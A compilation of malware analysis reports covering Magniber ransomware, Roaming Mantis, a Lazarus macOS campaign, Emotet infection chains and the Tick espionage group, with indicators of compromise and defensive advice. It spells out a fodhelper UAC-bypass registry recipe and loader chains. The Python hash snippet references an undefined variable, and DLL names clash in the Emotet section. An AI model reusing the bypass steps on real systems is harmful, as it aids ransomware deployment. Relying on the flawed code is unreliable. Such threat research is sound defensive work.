Magniber requires administrator privileges to disable the victim’s ability to recover their data, so the malware uses a User Account Control (UAC) bypass to run commands without alerting the user. For this to work, however, the logged-in user must be part of the Administrators group. For the encryption task, the malware enumerates files and checks its file extension against a list. If the extension is in the list, the file is encrypted. Finally, the malware places a ransom note in each directory with an encrypted file and shows it to the victim by opening the note in a web browser.
## Campaign Technical Analysis
The attackers behind the campaign used several interesting techniques to circumvent detection and prevention mechanisms, described in more detail below.
### Phase 1: JavaScript Loader
As mentioned in the overview, the campaigns start with a JavaScript file compressed in a ZIP archive. We’ve seen both JS and JSE files used. JSE files are encoded JavaScript files. In both cases, the scripts are obfuscated.
After decoding the script, we see it instantiates several MemoryStream type ActiveXObjects. Next, it decrypts an integer array and writes it into one of the MemoryStreams. Once this is done, the MemoryStream is deserialized, giving us an executable .NET file.
### Phase 2: .NET Binary
The .NET binary has a very simple structure since it only contains a few functions and an integer array, similar to the JavaScript file. When run, the code sets the memory protection of the array to “PAGE_EXECUTE_READWRITE” and decodes an array in a similar way to the encoded JavaScript in the previous phase. The decoded array is shellcode which is run using the EnumUILanguages function, which takes a pointer to a callback function as its first argument.
### Phase 3: Stage 1 Shellcode
The first shellcode stage decrypts a second stage, injects it into another process and finally runs it. To evade detection, both shellcode stages use syscalls instead of calling standard libraries. The shellcode contains its own wrapper functions that are responsible for making syscalls. To make a syscall, an identifier is written to the EAX register and then the syscall function corresponding to that identifier is executed. However, these identifiers can vary depending on the operating system version, so the malware must account for this to support multiple versions. Magniber queries the operating system version and, for certain syscalls, runs through a switch-case statement before executing it. One example where this happens is NtCreateThreadEx. This syscall is used to create a new thread, in this case in another process, where shellcode is injected.
Interestingly, the Magniber sample we analyzed in September supports different versions of Windows 11, including pre-release versions. This suggests that home users rather than enterprises were the intended targets of the campaign, since enterprises tend to use older operating systems.
With the help of syscalls, the shellcode injects decrypted shellcode into a new process and executes it, then terminates its own process.
### Phase 4: Stage 2 Shellcode
This shellcode now runs in the context of another process, which is why the process chain is interrupted. The purpose of this code can be divided into two parts. The first part deletes shadow copy files and disables backup and recovery features. The second part recursively enumerates all the files on the filesystem and encrypts them based on their file extension. This part of the shellcode also works purely with syscalls and does not use standard libraries.
#### Phase 4.1: Delete Shadow Copy Files and Disable Backup and Recovery
To delete the shadow copy files and disable Windows recovery features, Magniber requires administrator privileges, e.g. the user must be in the Administrators group. Most employees in enterprise environments don’t need such privileges, so this is another indication that the attackers behind the campaign intended to target individuals rather than enterprises. However, even if the user is in the Administrators group, the malware must first bypass User Account Control, which allows a process to run with elevated privileges. Magniber uses a UAC bypass that is triggered with the following steps:
1. The malware creates the registry key `HKCU\SOFTWARE\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\command`. In this example, the key is linked from the “ms-settings” key and allows the attacker to specify a shell command.
2. The malware sets the key with the value `wscript.exe /B /E:VBScript.Encode ../../Users/Public/hnzpfrdt.tex`.
3. The malware writes an encoded VBScript into the Public directory containing commands that delete shadow copy files and disable backup and recovery features in Windows.
4. The malware starts `fodhelper.exe`, a utility for managing optional features in Windows, which then triggers the UAC bypass. This process accesses the newly created registry key and runs the command stored in it, causing the VBScript to execute with elevated privileges and without user confirmation.
One way to prevent the “fodhelper.exe” UAC bypass is to increase the UAC security level to “Always notify”, which stops it from working on Windows 10. The VBScript deletes shadow copy files using Windows Management Instrumentation (WMI), deactivates the Windows recovery feature using the bcdedit command, then deletes the system backup using wbadmin. This makes it impossible for the user to restore the encrypted files using Windows system tools.
#### Phase 4.2: Encrypt Files
To decide which files to encrypt, Magniber keeps a list of pseudohashes that each correspond to a different file extension. After enumerating a file, the ransomware generates a pseudohash of the file extension. If the pseudohash is in the list, the file is encrypted. The encrypted file is then renamed with another file extension that is unique to each Magniber sample. The ransomware file extension is identical to the URL path in the ransom note.
Magniber’s file extension hashes are best described as pseudohashes because no standard hash algorithm is used and the calculation causes hash collisions – meaning some files that aren’t in the attacker’s list of file extensions are also encrypted. An implementation of the hashing function in Python looks like this:
```python
def pseudohash(file_ending):
hash = 0
counter = 0
for character in file_ending:
hash += (ord(b) - 0x60) * (3 ** ((len(file_ending) - counter) * 3))
counter += 1
return hash
```
Finally, the ransomware tells the victim about what happened and how they can decrypt their data by dropping an HTML ransom note in every directory that contains an encrypted file. To make sure the user sees the demand, Magniber also opens the note in a web browser.
## How to Protect Yourself
Home users can protect themselves from ransomware campaigns like this one by following this simple advice:
- Follow the principle of least privilege by only using administrator accounts if you really need to. Many home users have administrator privileges but rarely need them.
- Download software updates from trusted sources. The campaign depends on tricking people into opening fake software updates. Only download updates from trustworthy sources such as Windows Update and official software vendor websites.
- Back up your data regularly. Backing up your data will give you peace of mind should the worst happen.
## Conclusion
Even though Magniber does not fall into the category of Big Game Hunting, it can still cause significant damage. Home users were the likely target of this malware based on the supported operating system versions and UAC bypass. The attackers used clever techniques to evade protection and detection mechanisms. Most of the infection chain is “fileless”, meaning the malware only resides in memory, reducing the chances of it being detected. Magniber also bypasses detection techniques that rely on user-mode hooks because it uses syscalls instead of standard Windows API libraries. With the UAC bypass, the malware deletes the infected system’s shadow copy files and disables backup and recovery features, preventing the victim from recovering their data using Windows tools.
## Indicators of Compromise (IOCs)
Reference Magniber JavaScript sample used for our analysis:
`934cfeb5ee3d2ba49831d76dffb1a2658326e1cd90b50779d6670eb2fbdc7ed1`
Magniber JavaScript files:
`6155453a58b0ba360fd18a32d838c4452fec374c364824b50447500c8fd12e80`
`5b2a5ac50977f41ac27590395bb89c1afd553e58f2979b680d545bff1530a17b`
`79590d91e9131918df458221e8fcb9c5e33d0200f05f9704dcf88167a5515b3f`
`7064eab88837bc68b8c5076300170cd73dbea046c9594b588779082396dbfe4c`
`a292ff42e0e1b58b13c867d2c94da2a5d34caa2e9c30b63610f7e12be5e7d3d9`
`dfa32d8ed7c429b020c0581148a55bc752c35834d7a2b1bae886f2b436285c94`
`c1d1402226179c66570d66290dff2238b6a9f918c81267a61d58f4807f0d911c`
`56fb0d5e2e216f2b4d9846517d9ed23b69fba4f19f2bad71cdce47d9081642eb`
`92ec900b0aa0f8a335cf63d4f313729da2831ffc7d15985adf2d98f2c85c3783`
`c7729a7817a3d63f71d6c9066bd87192d07992ae57fc3d3e6d0e67c5ab9fb213`
`9d665f87440c22e3ae209308e3712a83a67932643be019e18b1ae00dc4ab8cbd`
`b12461bdd88bb2a7f56d11324272ae2a766d560371b2725be6f9d3175fb32f8c`
`abeec5267f6eb9fc9f01f4688a53e83c87898845767b8cd8599c75dbce1766a8`
`aeee31c3649724686cb9ad17fe1ee2b70b1ad1b6cd77cb8b1997aa6e75d49cc5`
`1eba630a870ce1aa840219d77e280cfd05d3d5e5cdea6f382c1c2b8b14ddf04d`
`54a5b06060639a483a8f6c80c8f095fb41e3eb5e7c02c3ad4ba29ee3a9ed7aab`
`76c012f134e81138fb37ac3638488f309662efcc9bb4011ff8e54869f26bb119`
`56d301fe7a6b1a9e21898162b0dada9ff12878c539591052919fabcc36d28541`
`4936cf896d0e76d6336d07cc14fbe8a99fbe10ad3e682dbc12fdfe7070fd1b24`
`6a68217b951f9655e4a7ed13fcfc4696ac5d231450fe7d2be8b6a1d71425752c`
`05cf26eaea577417804075a2458ac63f58a56b7612653d3a4c2ce8fa752bd418`
`266f930572d3006c36ba7e97b4ffed107827decd7738a58c218e1ae5450fbe95`
`9095bbb4b123a353a856634166f193124bdc4591cb3a38922b2283acc1d966d6`
`98d96f56deaec6f0324126fcdd79fd8854d52ac2996d223d0cb0ab4cff13ff7c`
`0c5956b7f252408db7e7b0195bb5419ad3b8daa45ec1944c44e3ec1cca51920f`
`c4f9dbff435d873b4e8ecbab8c1b7d2dbdb969ac75af4b1d325e06eb4e51b3ad`
`5472bce876d0758fb1379260504b791a3b8c95b87fc365f5ce8c3a6424facd34`
`d0375fc9cbb564fb18e0afea926c7faf50464b9afb329913dd5486c7cbb36e2e`
`ad89fb8819f98e38cddf6135004e1d93e8c8e4cba681ba16d408c4d69317eb47`
`99f0e7f06831c6283f5f4dc261a7bcbe4109b4a6717b534c816ca65cd2f05dc4`
`b81f76bd5c6e66b9b3a4f2828e58d557091475bed656c9a8d13c8c0e4b7f3936`
`c6f1da2490fe78b1f281a98c32d6fa88d675598e658d4e660274047e36f1b189`
`dd30688a0e5ac08fc547f44b60f13ef664654c9a8977f7a5f8f619b08c09620b`
`c0bf9153ce1641791b357fdb5c2c596fbbf15991a86f510cc444bdb477574d44`
`bf50794c33eebc9dc2ce3902fe29f683a37da50de3654a2775baa74d0bbd1188`
`b8e76ad7c7857d9985b15dcd064664d198db7201cb9eb6a0e53d81b6002f7d29`
`cc1ce8c687450b082dd19a6c5d868f5798e52422172f91ee4b70cb5ffd9f6fcd`
`a587172f1bbe665cdfc0cbcec54e72d8b9048c77f344ba5076a17fbf620597de`
`c4560eee4b02dc0ef087e48848cc83b270068d167f613f04d43a64025e72c09f`
`82fcea3c48509a1724c0a6ded9e3d3cab775a86588119c35b79355105bd828c4`
`e993e4ddd05007e62e6e2d00e70927933446ff4bcae2b559bb6be3bc5e4ad2d8`
`5b513dfd8f94f9b6e962eb691caa56d52ab4453369108ae3b572e2ee7f9b555d`
`d2d3fbfa73dfeb73a6f5c59fefab8dd99dcff58cefeb0d3b3b1c1a8854178933`
`d80d90ef631bb60b773bf1211f3c53c1cac043674c85eb65dbc457656ba5d4cc`
`757cd5b65155cd115b71021685fcc52a42ee80aca247ea68f41aa0d82dc20fc0`
`bba85d79db69db1b638e24e0a426ccccdc5c95875b8c3a26aa959cce3f6c8575`
`beb5e1c5ba835f29e272b2942b27b63f6f15647f3da51754fcf53c277e0eccf7`
`f41ec94f9d0c7480df2196b3fc5493599d50de222d2c903b173db3e7caff8747`
`397aa7bcc4a574dc30f0a491e03be15da55fa898624c7b15d0197e72802d048d`
`6b18a287aa2c170605409a4675fd600d0597623d174445aaea5a2279bee0c145`
`46d8d6230083254fa324299fc609125ee404e4bbdd3936ddc0235ae21479b655`
`e8663c5c28d8591f06eb7995e0f22b7ae7909f9431786f8557f2c081e0e79fad`
`d3f626d3e533f3b4aa0599c231210d53f709c46f0cfc3d28f0303df544a39b1b`
`814061567356daf6306eb673cfb97cab264c798320bf1b432d396b66393adf83`
`2c93879d024238d23270fab734a5ba530bfba2d35b44d265c8be3c93ff8cf463`
`3055baf30466f1c0f4cd5b78d05fe32ef7fd406dead3ecfcbdef464fdee551b8`
`568e1e3d55a6146f0f899159c3a5183362b8b13304109b49f7394a9fe8c69ea7`
`932d2330dc3c1366a8e956183858246c4052027cae1590d2211186be648fdcf4`
`dfabd6462ab2ecb9fb0cea7caa257841a751c1e91118168ef5a082cf8a25210f`
`fbd69303e6255aae830daba957c8ef62eb6d23340274eb8058826a08e82773db`
`123d7744a407af376b4ee4402ff8bee588b40540bcfba22fb64768d1de8c1861`
Magniber encrypts files with these extensions:
```json
{
"1": ["c", "h", "j", "p", "x"],
"2": ["ai", "ca", "cd", "cf", "cs", "ct", "db", "dd", "dt", "dv", "dx", "em", "ep", "eq", "fa", "fb", "fi", "fo", "gv", "hp", "hs", "hz", "ib", "ii", "js", "jw", "ma", "mb", "me", "mm", "mx", "my", "of", "pa", "pm", "pu", "px", "qd", "rb", "rd", "rs", "rt", "rw", "sh", "sq", "st", "te", "tm", "vb", "vm", "vw", "wn", "wp", "xd", "ya", "ym", "zw"],
"3": ["hpi", "icn", "idc", "idx", "igt", "igx", "ihx", "iiq", "ocr", "abm", "abs", "abw", "act", "adn", "adp", "aes", "aft", "afx", "agp", "ahd", "aic", "aim", "alf", "ans", "apd", "apm", "aps", "apt", "apx", "art", "arw", "asc", "ase", "ask", "asm", "asp", "asw", "asy", "aty", "awp", "awt", "aww", "azz", "bad", "bay", "bbs", "bdb", "bdp", "bdr", "bib", "bmx", "bna", "bnd", "boc", "bok", "brd", "brk", "brn", "brt", "bss", "btd", "bti", "btr", "can", "cdb", "cdc", "cdg", "cdr", "cdt", "cfu", "cgm", "cin", "cit", "ckp", "cma", "cmx", "cnm", "cnv", "cpc", "cpd", "cpg", "cpp", "cps", "cpx", "crd", "crt", "crw", "csr", "csv", "csy", "cvg", "cvi", "cvs", "cvx", "cwt", "cxf", "cyi", "dad", "daf", "dbc", "dbf", "dbk", "dbs", "dbt", "dbv", "dbx", "dca", "dcb", "dch", "dcr", "dcs", "dct", "dcx", "dds", "ded", "der", "dgn", "dgs", "dgt", "dhs", "dib", "dif", "dip", "diz", "djv", "dmi", "dmo", "dnc", "dne", "doc", "dot", "dpp", "dpx", "dqy", "drw", "drz", "dsk", "dsn", "dsv", "dta", "dtw", "dvi", "dwg", "dxb", "dxf", "eco", "ecw", "ecx", "edb", "efd", "egc", "eio", "eip", "eit", "emd", "emf", "epf", "epp", "eps", "erf", "err", "etf", "etx", "euc", "exr", "faq", "fax", "fbx", "fcd", "fcf", "fdf", "fdr", "fds", "fdt", "fdx", "fes", "fft", "fic", "fid", "fif", "fig", "flr", "fmv", "fpt", "fpx", "frm", "frt", "frx", "ftn", "fxc", "fxg", "fzb", "fzv", "gdb", "gem", "geo", "gfb", "ggr", "gih", "gim", "gio", "gpd", "gpg", "gpn", "gro", "grs", "gsd", "gtp", "gwi", "hbk", "hdb", "hdp", "hdr", "hht", "his", "hpg", "htc", "hwp", "ibd", "imd", "ink", "ipf", "ipx", "itw", "iwi", "jar", "jas", "jbr", "jia", "jis", "jng", "joe", "jpe", "jps", "jpx", "jsp", "jtf", "jtx", "jxr", "kdb", "kdc", "kdi", "kdk", "kes", "key", "kic", "klg", "knt", "kon", "kpg", "kwd", "lay", "lbm", "lbt", "ldf", "lgc", "lis", "lit", "ljp", "lmk", "lnt", "lrc", "lst", "ltr", "ltx", "lue", "luf", "lwo", "lwp", "lws", "lyt", "lyx", "lzf", "mac", "man", "map", "maq", "mat", "max", "mbm", "mdb", "mdf", "mdn", "mdt", "mef", "mel", "mft", "min", "mnr", "mnt", "mos", "mpf", "mpo", "mrg", "msg", "mud", "mwb", "mwp", "myd", "myi", "ncr", "nct", "ndf", "nef", "nfo", "njx", "nlm", "now", "nrw", "nsf", "nyf", "nzb", "obj", "oce", "oci", "odb", "odg", "odm", "odo", "odp", "ods", "odt", "oft", "omf", "oqy", "ora", "orf", "ort", "orx", "ost", "ota", "otg", "oti", "otp", "ots", "ott", "ovp", "ovr", "owc", "owg", "oyx", "ozb", "ozj", "ozt", "pan", "pap", "pas", "pbm", "pcd", "pcs", "pdb", "pdd", "pdf", "pdm", "pds", "pdt", "pef", "pem", "pff", "pfi", "pfs", "pfv", "pfx", "pgf", "pgm", "phm", "php", "pic", "pix", "pjt", "plt", "pmg", "pni", "pnm", "pnz", "pop", "pot", "ppm", "pps", "ppt", "prt", "prw", "psd", "pse", "psp", "pst", "psw", "ptg", "pth", "ptx", "pvj", "pvm", "pvr", "pwa", "pwi", "pwr", "pxr", "pza", "pzp", "pzs", "qmg", "qpx", "qry", "qvd", "rad", "ras", "raw", "rcu", "rdb", "rft", "rgb", "rgf", "rib", "ric", "ris", "rix", "rle", "rli", "rng", "rpd", "rpf", "rpt", "rri", "rsb", "rsd", "rsr", "rst", "rtd", "rtf", "rtx", "run", "rzk", "rzn", "saf", "sam", "sbf", "scc", "sch", "sci", "scm", "sct", "scv", "scw", "sdb", "sdf", "sdm", "sdw", "sep", "sfc", "sfw", "sgm", "sig", "skm", "sla", "sld", "slk", "sln", "sls", "smf", "sms", "snt", "sob", "spa", "spe", "sph", "spj", "spp", "spq", "spr", "sqb", "srw", "ssa", "ssk", "stc", "std", "sti", "stm", "stn", "stp", "str", "stw", "sty", "sub", "suo", "svf", "svg", "sxc", "sxd", "sxg", "sxi", "sxm", "sxw", "tab", "tcx", "tdf", "tdt", "tex", "thp", "tlb", "tlc", "tmd", "tmv", "tmx", "tne", "tpc", "trm", "tvj", "udb", "ufr", "unx", "uof", "uop", "uot", "upd", "usr", "vbr", "vbs", "vct", "vdb", "vdi", "vec", "vmx", "vnt", "vpd", "vrm", "vrp", "vsd", "vsm", "vue", "wbk", "wcf", "wdb", "wgz", "wks", "wpa", "wpd", "wpg", "wps", "wpt", "wpw", "wri", "wsc", "wsd", "wsh", "wtx", "xar", "xdb", "xlc", "xld", "xlf", "xlm", "xls", "xlt", "xlw", "xps", "xwp", "xyp", "xyw", "ybk", "zdb", "zdc"]
}
```
## Magniber domains:
- totwo[.]pw
- ittakes[.]fun
- catat[.]site
- tinpick[.]online
- pirlay[.]fun
- buyaims[.]online
- orhung[.]space
- actsred[.]site |
# Roaming Mantis, part V
**Authors**
Suguru Ishimaru
Distributed in 2019 using SMiShing and enhanced anti-researcher techniques, Kaspersky has continued to track the Roaming Mantis campaign. The group’s attack methods have improved, and new targets continuously added in order to steal more funds. The attackers’ focus has also shifted to techniques that avoid tracking and research: allowlist for distribution, analysis environment detection, and so on. We’ve also observed new malware families: Fakecop (also known as SpyAgent by McAfee) and Wroba.j (also known as Funkybot by Fortinet).
## Distribution of Wroba.g via SMiShing with impersonated brands
In 2018, the group added a distribution method for Wroba.g (aliases: Moqhao and XLoader), in addition to the original method of DNS hijacking. It was SMiShing using a spoofed delivery notice from a logistics company. In 2019, we confirmed another new method where a downloaded malicious APK file has an icon that impersonates a major courier company brand. The spoofed brand icon is customized for the country it targets, for example, Sagawa Express for Japan; Yamato Transport and FedEx for Taiwan; CJ Logistics for South Korea and Econt Express for Russia.
## Examples of SMiShing with Android malware icons impersonating brands
In February 2020, the attacker modified a SMiShing message from a spoofed absence notification to “delivering free masks for the coronavirus issue” in Japan, according to a warning by Japan Cybercrime Control Center (JC3). This once again shows that criminals always make use of hot topics in their activities.
## Allowlist feature of Wroba.g landing page for Korea only
The Roaming Mantis actor also employed a new feature in their Wroba.g landing page – currently only on the Korean page. It’s an allowlist feature to evade security researchers. When a user visits the landing page, they have to enter their phone number for confirmation. If the phone number is on the allowlist, the landing page distributes a malicious app.apk. The actor has a habit of trying out their new methods in Korean first. It means the method described above may be applied later on landing pages in other languages as well. If that happens, it would make it almost impossible for researchers to obtain a sample, because it would require a specific phone number in the actor’s allowlist database.
## Multidex obfuscation trick in a loader module of Wroba.g
A single Dalvik Executable (DEX) has a 64K reference limit. As a workaround, a configuration of Multidex allows the application to build and read multiple DEX files. In 2019, the actor used Multidex in an APK file to hide a malicious loader module as an obfuscation trick. Our analysis shows that it has been modified little by little. The classes marked with a red square are the actual malicious loader module. All the other DEX files are simply junk code. However, the encrypted payload of Wroba.g is still under the assets directory and can be decrypted by the simple python script described in our previous blog post.
## Wroba.g is targeting carrier billing and online banks in Japan
The actor has a strong financial motivation. They are targeting carrier billing and online bank accounts. They have implemented redirection to phishing sites to steal credentials in the decrypted payload of Wroba.g. When the malware detects a specific package of a Japanese online bank or specific mobile carriers on the infected device, it connects in the background to a hardcoded malicious account to fetch a phishing site with an alert message. The message claims that it has blocked unauthorized access from a third party and asks the user to click on a button to confirm they want to proceed. If the user clicks the button, they will be redirected to a phishing site.
## Wroba.j and Fakecop discovered in 2019
Roaming Mantis has been using Wroba.g and Wroba.f as its main Android malware. In April 2019, we observed two more malware families, Wroba.j and Fakecop. These two malware families have some similarities with the other families in terms of infrastructure, distribution channel, etc. We have created some slides, Roaming Mantis: A melting pot of Android bots in Botconf2019, showing the timeline, impersonated brands, malware features, and money laundering method.
Based on our telemetry data, detection rates of both malicious programs were very low. We believe that this was a test by the attacker. However, the most alarming thing we discovered was the following SMS spamming function in Wroba.j. The function automatically creates a sophisticated list of phone numbers from the feedback for SMS spamming results. This malware also has another function that checks the International Mobile Subscriber Identifier (IMSI) to identify mobile carriers in Japan and add the phone number to a relevant spamming list.
## Conclusion
The Roaming Mantis actor is strongly motivated by financial gain and is eager to evade tracking by researchers. It is now employing yet another method – allowlisting – to achieve this. This new method is currently only being applied for Korean pages, but it’s only a matter of time before it’s implemented for other languages. The actor is still very active in using SMiShing for Android malware distribution. This is particularly alarming, because it means all infected mobile devices could form a botnet for malware delivery, SMiShing, and so on. ISPs, together with security companies, need to keep a close eye on the Roaming Mantis campaign to understand how to combat it. |
# Lazarus ‘Operation In(ter)ception’ Targets macOS Users
Back in August, researchers at ESET spotted an instance of Operation In(ter)ception using lures for job vacancies at cryptocurrency exchange platform Coinbase to infect macOS users with malware. In recent days, SentinelOne has seen a further variant in the same campaign using lures for open positions at rival exchange Crypto.com. In this post, we review the details of this ongoing campaign and publish the latest indicators of compromise.
North-Korean linked APT threat actor Lazarus has been using lures for attractive job offers in a number of campaigns since at least 2020, including targeting aerospace and defense contractors in a campaign dubbed ‘Operation Dream Job’. While those campaigns distributed Windows malware, macOS malware has been discovered using a similar tactic. Decoy PDF documents advertising positions on crypto exchange platform Coinbase were discovered by our friends at ESET back in August 2022, with indications that the campaign dated back at least a year. Last week, SentinelOne observed variants of the malware using new lures for vacancies at Crypto.com.
## First Stage and Persistence
Although it is not clear at this stage how the malware is being distributed, earlier reports suggested that threat actors were attracting victims via targeted messaging on LinkedIn. The first stage dropper is a Mach-O binary that is a similar template to the `safarifontsagent` binary used in the Coinbase variant. The first stage creates a folder in the user’s Library called “WifiPreference” and drops a persistence agent at `~/Library/LaunchAgents/com.wifianalyticsagent.plist`, targeting an executable in the WifiPreferences folder called `wifianalyticsagent`.
The LaunchAgent uses the same label as in the Coinbase variant, namely `iTunes_trush`, but changes the target executable location and the agent file name. Analysis of the binary shows that these details are simply hardcoded in the `startDaemon()` function at compile time, and as such there are likely to be further variants extant or forthcoming. The WifiPreference folder contains several other items, including the decoy document, `Crypto.com_Job_Opportunities_2022_confidential.pdf`.
The PDF is a 26-page dump of all vacancies at Crypto.com. Consistent with observations in the earlier campaign, this PDF is created with MS Word 2016, PDF version 1.5. The document author is listed as “UChan”. The first stage malware opens the PDF decoy document and wipes the Terminal’s current savedState.
The second stage in the Crypto.com variant is a bare-bones application bundle named “WifiAnalyticsServ.app”; this mirrors the same architecture seen in the Coinbase variant, which used a second stage called “FinderFontsUpdater.app”. The application uses the bundle identifier `finder.fonts.extractor` and has been in existence since at least 2021. The main purpose of the second stage is to extract and execute the third-stage binary, `wifianalyticsagent`. This functions as a downloader from a C2 server. The Coinbase variant used the domain `concrecapital[.]com`. In the Crypto.com sample, this has changed to `market.contradecapital[.]com`.
The payload is written to the WifiPreference folder as `WifiCloudWidget`. Unfortunately, due to the C2 being offline when we analyzed the sample, we were unable to retrieve the `WifiCloudWidget` payload. The threat actors have made no effort to encrypt or obfuscate any of the binaries, possibly indicating short-term campaigns and/or little fear of detection by their targets. The binaries are all universal Mach-Os capable of running on either Intel or M1 Apple silicon machines and signed with an ad hoc signature, meaning that they will pass Apple’s Gatekeeper checks despite not being associated with a recognized developer identity.
## Staying Protected Against Lazarus Malware
SentinelOne customers are protected against the malware variants used in this campaign. For those not currently protected by SentinelOne, security teams and administrators are urged to review the indicators of compromise at the end of this post.
## Conclusion
The Lazarus (aka Nukesped) threat actor continues to target individuals involved in cryptocurrency exchanges. This has been a long-running theme going as far back as the AppleJeus campaigns that began in 2018. Operation In(ter)ception appears to be extending the targets from users of crypto exchange platforms to their employees in what may be a combined effort to conduct both espionage and cryptocurrency theft.
## Indicators of Compromise
**SHA 1** | **Name/Description**
a57684cc460d4fc202b8a33870630414b3bbfafc | 1st Stage, xxx
65b7091af6279cf0e426a7b9bdc4591679420380 | Crypto.com_Job_Opportunities_2022_confidential.pdf
1f0f9020f72aa5a38a89ffd6cd000ed8a2b49edc | 2nd Stage, WifiAnalyticsServ
1b32f332e7fc91252181f0626da05ae989095d71 | 3rd stage, wifianalyticsagent
**Communications**
market.contradecapital[.]com
**Persistence**
`~/Library/LaunchAgents/com.wifianalyticsagent.plist`
**File paths**
`~/Library/WifiPreference/WifiAnalyticsServ.app`
`~/Library/WifiPreference/WifiCloudWidget`
`~/Library/WifiPreference/wifianalyticsagent`
`~/Library/WifiPreference/Crypto.com_Job_Opportunities_2022_confidential.pdf`
**Labels and Bundle Identifiers**
iTunes_trush
finder.fonts.extractor |
# QuickNote: Emotet Epoch 4 & Epoch 5 Tactics
This article is based on samples collected by Mr. Brad Duncan through his excellent lab.
## Emotet Epoch 4
The time of the initial infection in the pcap file (2022-01-20-Emotet-epoch4-infection-with-spambot-activity.pcap) is around 2022-01-20 19:37 UTC. When the victim clicks on the link in the spam mail, they will access the address mangaloresoundandlights[.]com. If the access is successful, the victim will be asked to download an Excel file similar to the image below (this file will have a random name after each access. As in Mr. Brad Duncan’s summary, the file he downloaded has the file name: 12772684608453.xls).
Analyzing the downloaded xls file, this file uses XLM macro. When the victim opens and allows macro execution, it will call mshta.exe to load the fe2.html file at the address hxxp://0xb907d607. The host contains a hexadecimal representation of the IP address. Using CyberChef, I converted the hexadecimal numbers to retrieve the real IP address: 185[.]7[.]214[.]7.
The pcap file has results similar to the following. The above HTML file contains JavaScript, so mshta.exe will execute this script. JavaScript, when executed, will spawn a PowerShell process to download the fe2.png file at the same address. Based on the PowerShell command, it can be seen that the png file will also be a PowerShell script.
Looking at the pcap file, compare the content between the file provided by Mr. Brad Duncan and the file I downloaded. Based on the content of the png file, it can be seen that this PowerShell script will iterate through all the URLs and try to download the payload and save it under the name "C:\Users\Public\Documents\ssd.dll". If the download is successful, it will call rundll32.exe to execute ssd.dll.
I tried downloading the DLL from one of the URLs in the fe2.png file. In the pcap file, the result is similar to the following. From the DLL file provided by Mr. Brad Duncan, as well as the DLL file that I downloaded, it is easy to unpack the Emotet core DLL. With Emotet’s core DLL unpacked, I can find and extract C2 configuration information as well as the keys used to encrypt traffic and verify data. The results obtained are similar to the analysis at https://tria.ge/220121-wxp5xaafb2. As described by Mr. Brad Duncan, 33 minutes after the initial infection, the victim was turned into a spam-bot after being infected by the malware.
## Emotet Epoch 5
The time of the initial infection in the pcap file (2022-01-20-Emotet-epoch5-infection-with-spambot-activity.pcap) is around 2022-01-20 17:46 UTC. When the victim clicks on the link in the spam mail, they will access the address mt.yoshimax[.]net. At the time of blogging, this address is no longer accessible. Therefore, I will use the files that Mr. Brad Duncan provided for further analysis.
Analyze the Excel file: 2022-01-20-Emotet-epoch5-Excel-file.bin. Similar to the above epoch 4, its macro code is as follows. The JavaScript in the file 2022-01-20-Emotet-epoch5-fe1.html.txt, when executed, will spawn a PowerShell process to download the png file (also a PowerShell script). The content of the file fe1.png is as follows.
Like above, this script also browses the URLs to download the DLL file and saves it as sdc.dll. Then, it calls rundll32.exe to execute the sdc.dll file saved at the path "C:\Users\Public\Documents\ssd.dll". Easily unpack to get Emotet core DLL. With Emotet’s core DLL unpacked, I can extract C2 configuration information as well as the keys used to encrypt traffic and verify data. The results obtained are similar to the analysis at https://tria.ge/220123-j3vw5afeel. As described by Mr. Brad Duncan, 26 minutes after the initial infection, the victim was turned into a spam-bot after being infected by the malware.
## Other Notes
I also observed another Emotet spam campaign using octal representations of IP addresses. The malicious Excel file also uses XML macro to run the malware once the document is opened and enabled by the victim. With the help of CyberChef, we can decode this IP address. |
# “Tick” Group Continues Attacks
By Kaoru Hayashi
July 25, 2017
The “Tick” group has conducted cyber espionage attacks against organizations in the Republic of Korea and Japan for several years. The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries. The group is known to use custom malware called Daserf, but also employs multiple commodity and custom tools, exploits vulnerabilities, and uses social engineering techniques.
Regarding the command and control (C2) infrastructure, Tick previously used domains registered through privacy protection services to keep their anonymity but have moved to compromised websites in recent attacks. With multiple tools and anonymous infrastructure, they are running longstanding and persistent attack campaigns. We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years.
## Tick Tools
Symantec was first to publicly report on Tick, followed by LAC in 2016. These reports discussed the group’s malware, Daserf (a.k.a Muirim or Nioupale) and some additional downloader programs. Though Daserf wasn't a popular attack tool at the time of publishing the two reports, it dates back to at least 2011. Using AutoFocus, we were able to identify the link among Daserf and two other threats, 9002 and Invader. These threats shared infrastructure between July 2012 and April 2013.
**Invader** (a.k.a Kickesgo) is a backdoor that injects its main code into a legitimate process, such as explorer.exe, and has the following functions:
- Logs keystrokes and mouse movement
- Captures screenshots
- Opens cmd.exe shell
- Enumerates processes
- Executes programs
- Removes itself
- Enumerates all opening TCP and UDP ports
**9002** is the infamous RAT frequently seen in targeted attacks reported by various security vendors, including Palo Alto Networks. Interestingly, the C2 servers linking 9002 to Daserf were described in the report of an Adobe Flash Zero-day attack from FireEye in 2013. These domains were registered through the privacy protection services in 2008 and 2011.
Though we don't know the targets of these malware samples at the time of writing this article, we suspect the same group is behind these threats for a number of reasons. The samples of Daserf that shared infrastructure were submitted to VirusTotal only from Japan multiple times in 2013. As noted in a later section, another Invader sample shared different C2 servers with Daserf. Symantec reported that Tick exploited additional Adobe Flash and Microsoft Office vulnerabilities. SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in a Japanese Software Asset Management system on endpoints. Therefore, Tick or their digital quartermaster is capable of deploying new and unique exploits.
## Minzen and Nameless Backdoor
In July 2016, we identified a compromised website in Japan that was hosting a Daserf variant. The web server was also a C2 server for another threat, **Minzen** (a.k.a, XXMM, Wali, or ShadowWali). The threat often uses compromised web servers in Japan and the Republic of Korea.
As Kaspersky and Cybereason recently posted, Minzen is a modular malware that has both 32-bit and 64-bit components in its resource section or configuration data in its body. One of the Minzen samples (SHA256: 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2) found in the Republic of Korea in December 2016 installs a simple backdoor module as a final payload on a compromised computer. It opens a TCP port and receives commands from a remote attacker. According to the debug path in the body, the author of the tool called it "NamelessHdoor," and its internal version is identified as “V1.5.”
